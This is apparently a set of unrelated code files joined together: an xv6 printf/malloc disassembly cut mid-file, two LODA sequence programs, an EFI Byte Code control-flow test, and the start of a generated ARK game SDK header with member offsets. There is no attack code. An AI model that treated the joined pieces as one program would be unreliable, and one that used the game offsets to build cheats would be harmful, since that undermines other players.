376: 66 90 xchg %ax,%ax
378: 66 90 xchg %ax,%ax
37a: 66 90 xchg %ax,%ax
37c: 66 90 xchg %ax,%ax
37e: 66 90 xchg %ax,%ax
00000380 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
380: 55 push %ebp
381: 89 e5 mov %esp,%ebp
383: 57 push %edi
384: 56 push %esi
385: 53 push %ebx
386: 89 c6 mov %eax,%esi
388: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
38b: 8b 5d 08 mov 0x8(%ebp),%ebx
38e: 85 db test %ebx,%ebx
390: 74 7e je 410 <printint+0x90>
392: 89 d0 mov %edx,%eax
394: c1 e8 1f shr $0x1f,%eax
397: 84 c0 test %al,%al
399: 74 75 je 410 <printint+0x90>
neg = 1;
x = -xx;
39b: 89 d0 mov %edx,%eax
neg = 1;
39d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
3a4: f7 d8 neg %eax
3a6: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
3a9: 31 ff xor %edi,%edi
3ab: 8d 5d d7 lea -0x29(%ebp),%ebx
3ae: 89 ce mov %ecx,%esi
3b0: eb 08 jmp 3ba <printint+0x3a>
3b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
3b8: 89 cf mov %ecx,%edi
3ba: 31 d2 xor %edx,%edx
3bc: 8d 4f 01 lea 0x1(%edi),%ecx
3bf: f7 f6 div %esi
3c1: 0f b6 92 50 07 00 00 movzbl 0x750(%edx),%edx
}while((x /= base) != 0);
3c8: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3ca: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
3cd: 75 e9 jne 3b8 <printint+0x38>
if(neg)
3cf: 8b 45 c4 mov -0x3c(%ebp),%eax
3d2: 8b 75 c0 mov -0x40(%ebp),%esi
3d5: 85 c0 test %eax,%eax
3d7: 74 08 je 3e1 <printint+0x61>
buf[i++] = '-';
3d9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
3de: 8d 4f 02 lea 0x2(%edi),%ecx
3e1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
3e5: 8d 76 00 lea 0x0(%esi),%esi
3e8: 0f b6 07 movzbl (%edi),%eax
write(fd, &c, 1);
3eb: 83 ec 04 sub $0x4,%esp
3ee: 83 ef 01 sub $0x1,%edi
3f1: 6a 01 push $0x1
3f3: 53 push %ebx
3f4: 56 push %esi
3f5: 88 45 d7 mov %al,-0x29(%ebp)
3f8: e8 e5 fe ff ff call 2e2 <write>
while(--i >= 0)
3fd: 83 c4 10 add $0x10,%esp
400: 39 df cmp %ebx,%edi
402: 75 e4 jne 3e8 <printint+0x68>
putc(fd, buf[i]);
}
404: 8d 65 f4 lea -0xc(%ebp),%esp
407: 5b pop %ebx
408: 5e pop %esi
409: 5f pop %edi
40a: 5d pop %ebp
40b: c3 ret
40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
x = xx;
410: 89 d0 mov %edx,%eax
neg = 0;
412: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
419: eb 8b jmp 3a6 <printint+0x26>
41b: 90 nop
41c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000420 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 57 push %edi
424: 56 push %esi
425: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
426: 8d 45 10 lea 0x10(%ebp),%eax
{
429: 83 ec 2c sub $0x2c,%esp
for(i = 0; fmt[i]; i++){
42c: 8b 75 0c mov 0xc(%ebp),%esi
{
42f: 8b 7d 08 mov 0x8(%ebp),%edi
for(i = 0; fmt[i]; i++){
432: 89 45 d0 mov %eax,-0x30(%ebp)
435: 0f b6 1e movzbl (%esi),%ebx
438: 83 c6 01 add $0x1,%esi
43b: 84 db test %bl,%bl
43d: 0f 84 b0 00 00 00 je 4f3 <printf+0xd3>
443: 31 d2 xor %edx,%edx
445: eb 39 jmp 480 <printf+0x60>
447: 89 f6 mov %esi,%esi
449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
450: 83 f8 25 cmp $0x25,%eax
453: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
456: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
45b: 74 18 je 475 <printf+0x55>
write(fd, &c, 1);
45d: 8d 45 e2 lea -0x1e(%ebp),%eax
460: 83 ec 04 sub $0x4,%esp
463: 88 5d e2 mov %bl,-0x1e(%ebp)
466: 6a 01 push $0x1
468: 50 push %eax
469: 57 push %edi
46a: e8 73 fe ff ff call 2e2 <write>
46f: 8b 55 d4 mov -0x2c(%ebp),%edx
472: 83 c4 10 add $0x10,%esp
475: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
478: 0f b6 5e ff movzbl -0x1(%esi),%ebx
47c: 84 db test %bl,%bl
47e: 74 73 je 4f3 <printf+0xd3>
if(state == 0){
480: 85 d2 test %edx,%edx
c = fmt[i] & 0xff;
482: 0f be cb movsbl %bl,%ecx
485: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
488: 74 c6 je 450 <printf+0x30>
} else {
putc(fd, c);
}
} else if(state == '%'){
48a: 83 fa 25 cmp $0x25,%edx
48d: 75 e6 jne 475 <printf+0x55>
if(c == 'd'){
48f: 83 f8 64 cmp $0x64,%eax
492: 0f 84 f8 00 00 00 je 590 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
498: 81 e1 f7 00 00 00 and $0xf7,%ecx
49e: 83 f9 70 cmp $0x70,%ecx
4a1: 74 5d je 500 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4a3: 83 f8 73 cmp $0x73,%eax
4a6: 0f 84 84 00 00 00 je 530 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4ac: 83 f8 63 cmp $0x63,%eax
4af: 0f 84 ea 00 00 00 je 59f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4b5: 83 f8 25 cmp $0x25,%eax
4b8: 0f 84 c2 00 00 00 je 580 <printf+0x160>
write(fd, &c, 1);
4be: 8d 45 e7 lea -0x19(%ebp),%eax
4c1: 83 ec 04 sub $0x4,%esp
4c4: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4c8: 6a 01 push $0x1
4ca: 50 push %eax
4cb: 57 push %edi
4cc: e8 11 fe ff ff call 2e2 <write>
4d1: 83 c4 0c add $0xc,%esp
4d4: 8d 45 e6 lea -0x1a(%ebp),%eax
4d7: 88 5d e6 mov %bl,-0x1a(%ebp)
4da: 6a 01 push $0x1
4dc: 50 push %eax
4dd: 57 push %edi
4de: 83 c6 01 add $0x1,%esi
4e1: e8 fc fd ff ff call 2e2 <write>
for(i = 0; fmt[i]; i++){
4e6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4ea: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4ed: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
4ef: 84 db test %bl,%bl
4f1: 75 8d jne 480 <printf+0x60>
}
}
}
4f3: 8d 65 f4 lea -0xc(%ebp),%esp
4f6: 5b pop %ebx
4f7: 5e pop %esi
4f8: 5f pop %edi
4f9: 5d pop %ebp
4fa: c3 ret
4fb: 90 nop
4fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 16, 0);
500: 83 ec 0c sub $0xc,%esp
503: b9 10 00 00 00 mov $0x10,%ecx
508: 6a 00 push $0x0
50a: 8b 5d d0 mov -0x30(%ebp),%ebx
50d: 89 f8 mov %edi,%eax
50f: 8b 13 mov (%ebx),%edx
511: e8 6a fe ff ff call 380 <printint>
ap++;
516: 89 d8 mov %ebx,%eax
518: 83 c4 10 add $0x10,%esp
state = 0;
51b: 31 d2 xor %edx,%edx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d0 mov %eax,-0x30(%ebp)
523: e9 4d ff ff ff jmp 475 <printf+0x55>
528: 90 nop
529: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
530: 8b 45 d0 mov -0x30(%ebp),%eax
533: 8b 18 mov (%eax),%ebx
ap++;
535: 83 c0 04 add $0x4,%eax
538: 89 45 d0 mov %eax,-0x30(%ebp)
s = "(null)";
53b: b8 49 07 00 00 mov $0x749,%eax
540: 85 db test %ebx,%ebx
542: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
545: 0f b6 03 movzbl (%ebx),%eax
548: 84 c0 test %al,%al
54a: 74 23 je 56f <printf+0x14f>
54c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
550: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
553: 8d 45 e3 lea -0x1d(%ebp),%eax
556: 83 ec 04 sub $0x4,%esp
559: 6a 01 push $0x1
s++;
55b: 83 c3 01 add $0x1,%ebx
write(fd, &c, 1);
55e: 50 push %eax
55f: 57 push %edi
560: e8 7d fd ff ff call 2e2 <write>
while(*s != 0){
565: 0f b6 03 movzbl (%ebx),%eax
568: 83 c4 10 add $0x10,%esp
56b: 84 c0 test %al,%al
56d: 75 e1 jne 550 <printf+0x130>
state = 0;
56f: 31 d2 xor %edx,%edx
571: e9 ff fe ff ff jmp 475 <printf+0x55>
576: 8d 76 00 lea 0x0(%esi),%esi
579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 4c ff ff ff jmp 4dc <printf+0xbc>
printint(fd, *ap, 10, 1);
590: 83 ec 0c sub $0xc,%esp
593: b9 0a 00 00 00 mov $0xa,%ecx
598: 6a 01 push $0x1
59a: e9 6b ff ff ff jmp 50a <printf+0xea>
59f: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
5a2: 83 ec 04 sub $0x4,%esp
5a5: 8b 03 mov (%ebx),%eax
5a7: 6a 01 push $0x1
5a9: 88 45 e4 mov %al,-0x1c(%ebp)
5ac: 8d 45 e4 lea -0x1c(%ebp),%eax
5af: 50 push %eax
5b0: 57 push %edi
5b1: e8 2c fd ff ff call 2e2 <write>
5b6: e9 5b ff ff ff jmp 516 <printf+0xf6>
5bb: 66 90 xchg %ax,%ax
5bd: 66 90 xchg %ax,%ax
5bf: 90 nop
000005c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5c0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c1: a1 f0 09 00 00 mov 0x9f0,%eax
{
5c6: 89 e5 mov %esp,%ebp
5c8: 57 push %edi
5c9: 56 push %esi
5ca: 53 push %ebx
5cb: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ce: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
5d0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d3: 39 c8 cmp %ecx,%eax
5d5: 73 19 jae 5f0 <free+0x30>
5d7: 89 f6 mov %esi,%esi
5d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
5e0: 39 d1 cmp %edx,%ecx
5e2: 72 1c jb 600 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5e4: 39 d0 cmp %edx,%eax
5e6: 73 18 jae 600 <free+0x40>
{
5e8: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ea: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ec: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5ee: 72 f0 jb 5e0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f0: 39 d0 cmp %edx,%eax
5f2: 72 f4 jb 5e8 <free+0x28>
5f4: 39 d1 cmp %edx,%ecx
5f6: 73 f0 jae 5e8 <free+0x28>
5f8: 90 nop
5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
600: 8b 73 fc mov -0x4(%ebx),%esi
603: 8d 3c f1 lea (%ecx,%esi,8),%edi
606: 39 d7 cmp %edx,%edi
608: 74 19 je 623 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
60a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
60d: 8b 50 04 mov 0x4(%eax),%edx
610: 8d 34 d0 lea (%eax,%edx,8),%esi
613: 39 f1 cmp %esi,%ecx
615: 74 23 je 63a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
617: 89 08 mov %ecx,(%eax)
freep = p;
619: a3 f0 09 00 00 mov %eax,0x9f0
}
61e: 5b pop %ebx
61f: 5e pop %esi
620: 5f pop %edi
621: 5d pop %ebp
622: c3 ret
bp->s.size += p->s.ptr->s.size;
623: 03 72 04 add 0x4(%edx),%esi
626: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
629: 8b 10 mov (%eax),%edx
62b: 8b 12 mov (%edx),%edx
62d: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
630: 8b 50 04 mov 0x4(%eax),%edx
633: 8d 34 d0 lea (%eax,%edx,8),%esi
636: 39 f1 cmp %esi,%ecx
638: 75 dd jne 617 <free+0x57>
p->s.size += bp->s.size;
63a: 03 53 fc add -0x4(%ebx),%edx
freep = p;
63d: a3 f0 09 00 00 mov %eax,0x9f0
p->s.size += bp->s.size;
642: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
645: 8b 53 f8 mov -0x8(%ebx),%edx
648: 89 10 mov %edx,(%eax)
}
64a: 5b pop %ebx
64b: 5e pop %esi
64c: 5f pop %edi
64d: 5d pop %ebp
64e: c3 ret
64f: 90 nop
00000650 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
650: 55 push %ebp
651: 89 e5 mov %esp,%ebp
653: 57 push %edi
654: 56 push %esi
655: 53 push %ebx
656: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
659: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
65c: 8b 15 f0 09 00 00 mov 0x9f0,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
662: 8d 78 07 lea 0x7(%eax),%edi
665: c1 ef 03 shr $0x3,%edi
668: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
66b: 85 d2 test %edx,%edx
66d: 0f 84 a3 00 00 00 je 716 <malloc+0xc6>
673: 8b 02 mov (%edx),%eax
675: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
678: 39 cf cmp %ecx,%edi
67a: 76 74 jbe 6f0 <malloc+0xa0>
67c: 81 ff 00 10 00 00 cmp $0x1000,%edi
682: be 00 10 00 00 mov $0x1000,%esi
687: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
68e: 0f 43 f7 cmovae %edi,%esi
691: ba 00 80 00 00 mov $0x8000,%edx
696: 81 ff ff 0f 00 00 cmp $0xfff,%edi
69c: 0f 46 da cmovbe %edx,%ebx
69f: eb 10 jmp 6b1 <malloc+0x61>
6a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 cf cmp %ecx,%edi
6af: 76 3f jbe 6f0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6b1: 39 05 f0 09 00 00 cmp %eax,0x9f0
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x58>
p = sbrk(nu * sizeof(Header));
6bb: 83 ec 0c sub $0xc,%esp
6be: 53 push %ebx
6bf: e8 86 fc ff ff call 34a <sbrk>
if(p == (char*)-1)
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x98>
hp->s.size = nu;
6cc: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 e5 fe ff ff call 5c0 <free>
return freep;
6db: 8b 15 f0 09 00 00 mov 0x9f0,%edx
if((p = morecore(nunits)) == 0)
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x58>
return 0;
6e8: 31 c0 xor %eax,%eax
6ea: eb 1c jmp 708 <malloc+0xb8>
6ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
6f0: 39 cf cmp %ecx,%edi
6f2: 74 1c je 710 <malloc+0xc0>
p->s.size -= nunits;
6f4: 29 f9 sub %edi,%ecx
6f6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6f9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6fc: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
6ff: 89 15 f0 09 00 00 mov %edx,0x9f0
return (void*)(p + 1);
705: 83 c0 08 add $0x8,%eax
}
}
708: 8d 65 f4 lea -0xc(%ebp),%esp
70b: 5b pop %ebx
70c: 5e pop %esi
70d: 5f pop %edi
70e: 5d pop %ebp
70f: c3 ret
prevp->s.ptr = p->s.ptr;
710: 8b 08 mov (%eax),%ecx
712: 89 0a mov %ecx,(%edx)
714: eb e9 jmp 6ff <malloc+0xaf>
base.s.ptr = freep = prevp = &base;
716: c7 05 f0 09 00 00 f4 movl $0x9f4,0x9f0
71d: 09 00 00
720: c7 05 f4 09 00 00 f4 movl $0x9f4,0x9f4
727: 09 00 00
base.s.size = 0;
72a: b8 f4 09 00 00 mov $0x9f4,%eax
72f: c7 05 f8 09 00 00 00 movl $0x0,0x9f8
736: 00 00 00
739: e9 3e ff ff ff jmp 67c <malloc+0x2c>
|
; A088564: a(n)=sum(i=0,n,binomial(2*i,i) (mod 3)).
; 1,3,3,5,6,6,6,6,6,8,9,9,10,12,12,12,12,12,12,12,12,12,12,12,12,12,12,14,15,15,16,18,18,18,18,18,19,21,21,23,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,26,27,27,28,30,30,30,30,30,31,33,33,35,36,36,36,36,36,36
lpb $0
mov $2,$0
sub $0,1
seq $2,6996 ; C(2n,n) mod 3.
add $1,$2
lpe
add $1,1
mov $0,$1
|
include 'ebc.inc'
include 'efi.inc'
include 'format.inc'
include 'utf8.inc'
format peebc efi ; PE executable format, EFI Byte Code
entry efi_main
;; This is for all the assembly for the whole program
section 'CODE' code executable readable
macro ASMCALL routine_name
STORESP R6, [IP]
JMP32 R0(routine_name)
end macro
macro PASS
OR64 R0, R0
end macro
macro FETCHU64 address
MOVREL R1, address
MOVq R1, @R1
PUSH64 R1
end macro
;; Uses register R1 and pushes a natural value to account for x32 and x64.
macro PUSHADDR var_name
MOVREL R1, var_name
PUSHn R1
end macro
EMITSTR:
POPn R1
PUSHn R6(0, +6)
PUSHn R1
CALL __print
POPn R1
POPn R6
JMP32 R6
__print:
MOVREL R1, system_table
MOV R1, @R1
MOVn R1, @R1(EFI_SYSTEM_TABLE.ConOut)
PUSHn @R0(0,+16)
PUSHn R1
; CALLEX @R1(SIMPLE_TEXT_OUTPUT_INTERFACE.OutputString)
MOV R1, @R1(SIMPLE_TEXT_OUTPUT_INTERFACE.OutputString)
CALLEX R1
MOV R0, R0(+2,0)
RET
;; Push value to assign first and then variable.
ASSIGNU64:
POPn R1 ;; variable
POPn R2 ;; value to assign
MOVq @R1, @R2
JMP32 R6(0, +6)
;; Push b first then a. Returns 0 if a == b. Returns 1 if a != b.
CMPU64EQ:
POPn R1 ;; a
POPn R2 ;; b
CMP64eq @R1, @R2
JMPcs equal
JMPcc not_equal
equal:
XOR32 R1, R1 ;; Store zero
PUSH64 R1
JMP32 R6(0, +6)
not_equal:
MOViq R1, 1
PUSH64 R1
JMP32 R6(0, +6)
;; Push condition, push falsey address, push truthy address.
;; Runs truthy block when condition is 0, falsey block otherwise.
BRANCHIF:
POPn R3 ;; Truthy address
POPn R2 ;; Falsey address
POP64 R1 ;; Condition
PUSHn R6(0, +6) ;; Store return address
XOR R4, R4 ;; Get comparitor (0)
CMP64eq R1, R4
JMP32cs R3 ;; Both blocks must pop and jump to R6 when done
JMP32cc R2 ;; Both blocks must pop and jump to R6 when done
;; Block index counter is incremented each new block no matter the type
block_2:
PUSHADDR string_false
ASMCALL EMITSTR
POPn R6
JMP32 R6
block_1: ;; Basic blocks are named. Need a handle to their address
PUSHADDR string_true
ASMCALL EMITSTR
POPn R6
JMP32 R6
;; Loops store their break address before looping the block. Doing an extra pop
;; results in not returning back to the LOOPBLOCK instruction, but after it.
LOOPBREAK: ;; Break.label tells how many times to repeat this instruction?
;; Ignore caller return address, we want to go to after the loop
JMP32 R0(LOOPBLOCK_break)
LOOPCONTINUE:
;; Ignore caller return address, we want to go back to LOOPBLOCK's control
JMP32 R0(LOOPBLOCK_continue)
;; Push address of block to loop forever.
LOOPBLOCK:
POPn R1 ;; Block address
;; Return address to use after breaking the loop is in R6
PUSHn R6(0, +6)
;; Top of the stack is reserved for the block address
PUSHn R1
ASMCALL LOOPCONTINUE
LOOPBLOCK_continue:
POPn R1 ;; Block address
PUSHn R1
JMP32 R1
LOOPBLOCK_break:
POPn R6 ;; Get rid of the loop block address
POPn R6 ;; The address to continue past the loop
JMP32 R6
block_3: ;; The block to loop
PUSHADDR string_status
ASMCALL EMITSTR
ASMCALL LOOPCONTINUE
block_4:
;; Need to have better ways of examining the condition
XOR R1, R1
PUSH64 R1
; FETCHU64 var_x
; FETCHU64 var_x
; ASMCALL CMPU64EQ
PUSHADDR block_6 ;; Falsey block
PUSHADDR block_5 ;; Truthy block
ASMCALL BRANCHIF
PUSHADDR string_status
ASMCALL EMITSTR
ASMCALL LOOPCONTINUE
;; This is incremented upon IF only, since BREAK only applies to LOOP
block_5_scope_depth: dw 1 ;; Store it right in the binary? =D
block_5:
PUSHADDR string_b
ASMCALL EMITSTR
; SCOPECLEANUP block_5_scope_depth
POPn R6 ;; Have to exit the if statement to preserve stack correctly.
;; This would be compounded per if statement encountered. When
;; generating code, make sure to keep track of this invariant.
;; This will most likely be the case for ret also.
;; Is this a problem since this block should know it's inside an
;; if statement anyway?
ASMCALL LOOPBREAK
POPn R6
JMP32 R6
block_6:
PUSHADDR string_c
ASMCALL EMITSTR
POPn R6
JMP32 R6
;; u64-gte(a, b) -> return a >= b
U64GTE:
; POPn R2 ;; b
; POPn R1 ;; a
; MOVREL R1, const_0
; PUSH64 @R1
; JMP32 R6(0, +6)
POPn R2 ;; b
POPn R1 ;; a
CMP64ugte @R1, @R2
MOVREL R3, U64GTE_truthy
MOVREL R4, U64GTE_falsey
JMP32cs R3
JMP32cc R4
U64GTE_truthy:
MOVREL R1, const_1
PUSH64 @R1
JMP32 R6(0, +6)
U64GTE_falsey:
XOR R1, R1
PUSH64 R1
JMP32 R6(0, +6)
efi_main:
;; First order of business, store the pointer to the system table
MOVREL R1, system_table
MOVn @R1, @R0(EFI_MAIN_PARAMETERS.SystemTable)
;; GOAL: Assign to Variable
PUSHADDR const_u64_0
PUSHADDR var_x
ASMCALL ASSIGNU64
PUSHADDR const_u64_1
PUSHADDR var_end
ASMCALL ASSIGNU64
;; GOAL: If
;; `if @foo() [] else []` is actually `@foo(), if [] else []`
;; <CALL SOME FUNCTION HERE THAT RETURNS U64 VALUE ON THE STACK>
;; This shall represent the condition
XOR R1, R1 ;; Push 0 (true for purposes of comparison)
PUSH64 R1
;; Value to compare is already on stack!
PUSHADDR block_2 ;; Falsey block
PUSHADDR block_1 ;; Truthy block
ASMCALL BRANCHIF ;; Will continue from here after one block is run
;; GOAL: If v2
;; PUSH A u64 VALUE ONTO THE STACK. 0 = false, 1 = true
;; (<THE CONDITION EXPRESSION CALL HERE>)
;; u64-gte(x, 0) <- X truly is greater than or equal to 0
PUSHADDR var_x
PUSHADDR var_end
ASMCALL U64GTE
POP64 R1
CMPI64eq R1, 0
MOVREL R1, if_1_falsey
JMP32cs R1
MOVREL R1, if_1_truthy
JMP32cc R1
if_1_truthy:
PUSHADDR string_if_1_truthy
ASMCALL EMITSTR
JMP32 R0(if_1_endif)
if_1_falsey:
PUSHADDR string_if_1_falsey
ASMCALL EMITSTR
JMP32 R0(if_1_endif)
if_1_endif: PASS
;; GOAL: Loop
PUSHADDR block_4
ASMCALL LOOPBLOCK
; STORESP R6, [IP] ;; Store beginning of block
; PUSHn R6(0, +6)
; ; POPn R6
; ; JMP32 R0, R6
; ; CMPeq64 R1, R2
; loop_a: ;; loop.a
; PUSHADDR var_x
; PUSHADDR var_x
; ASMCALL CMPU64EQ
; POP64 R1
; MOViq R1, 1
; CMP64eq R1, R1
; JMPcs loop_a
;; GOAL: Loop v2
;; Need to turn loop [] into something
loop_1: ;; Special blocks start with their name?
loop_2: ;; Special blocks start with their name?
JMP32 R0(loop_2_break) ;; Break the loop
JMP32 R0(loop_2)
loop_2_break: PASS
JMP32 R0(loop_1_break) ;; Break the loop
JMP32 R0(loop_1)
loop_1_break: PASS
PUSHADDR string_done
ASMCALL EMITSTR
loop_forever:
JMP loop_forever
RET
;; TODO(pbz): This is temporary. Will want to control this from compiler
;; This is for uninitialized global variables and is used in leu of malloc
section 'RESERVED' data readable writeable
system_table: dq ?
const_0: dq 0 ;; I don't see any other way to make this work
const_1: dq 1 ;; I don't see any other way to make this work
string_done: du "<DONE>", 0x0D, 0x0A, 0x00
string_status: du "<HERE>", 0x0D, 0x0A, 0x00
string_true: du "<true>", 0x0D, 0x0A, 0x00
string_false: du "<false>", 0x0D, 0x0A, 0x00
string_a: du "<a>", 0x0D, 0x0A, 0x00
string_b: du "<b>", 0x0D, 0x0A, 0x00
string_c: du "<c>", 0x0D, 0x0A, 0x00
string_if_1_truthy: du "<if_1_truthy>", 0x0D, 0x0A, 0x00
string_if_1_falsey: du "<if_1_falsey>", 0x0D, 0x0A, 0x00
;; GOAL: Declare Variable
var_x: rb 8
var_end: rb 8
;; This is for initialized global variables
section 'DATA' data readable writeable
const_u64_0: dq 64
const_u64_1: dq 0
|
; A317314: Multiples of 14 and odd numbers interleaved.
; 0,1,14,3,28,5,42,7,56,9,70,11,84,13,98,15,112,17,126,19,140,21,154,23,168,25,182,27,196,29,210,31,224,33,238,35,252,37,266,39,280,41,294,43,308,45,322,47,336,49,350,51,364,53,378,55,392,57,406,59,420,61,434,63,448,65,462,67,476,69,490,71,504,73,518,75,532,77,546,79,560,81,574,83,588,85,602,87,616,89,630,91,644,93,658,95,672,97,686,99
mov $1,$0
mod $1,2
gcd $1,7
mul $0,$1
|
#pragma once
// ARKSurvivalEvolved (329.9) SDK
#ifdef _MSC_VER
#pragma pack(push, 0x8)
#endif
#include "ARKSurvivalEvolved_SpaceDolphin_Character_BP_structs.hpp"
namespace sdk
{
//---------------------------------------------------------------------------
//Classes
//---------------------------------------------------------------------------
// BlueprintGeneratedClass SpaceDolphin_Character_BP.SpaceDolphin_Character_BP_C
// 0x1EB0 (0x4118 - 0x2268)
class ASpaceDolphin_Character_BP_C : public ADino_Character_BP_C
{
public:
class UAudioComponent* UnderwaterSound; // 0x2268(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UAudioComponent* ChargingHomingLaserSound; // 0x2270(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class USkeletalMeshComponent* FPVSkelMesh; // 0x2278(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TailTrailLeftVFX; // 0x2280(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TailTrailCenterVFX; // 0x2288(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TailTrailRightVFX; // 0x2290(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
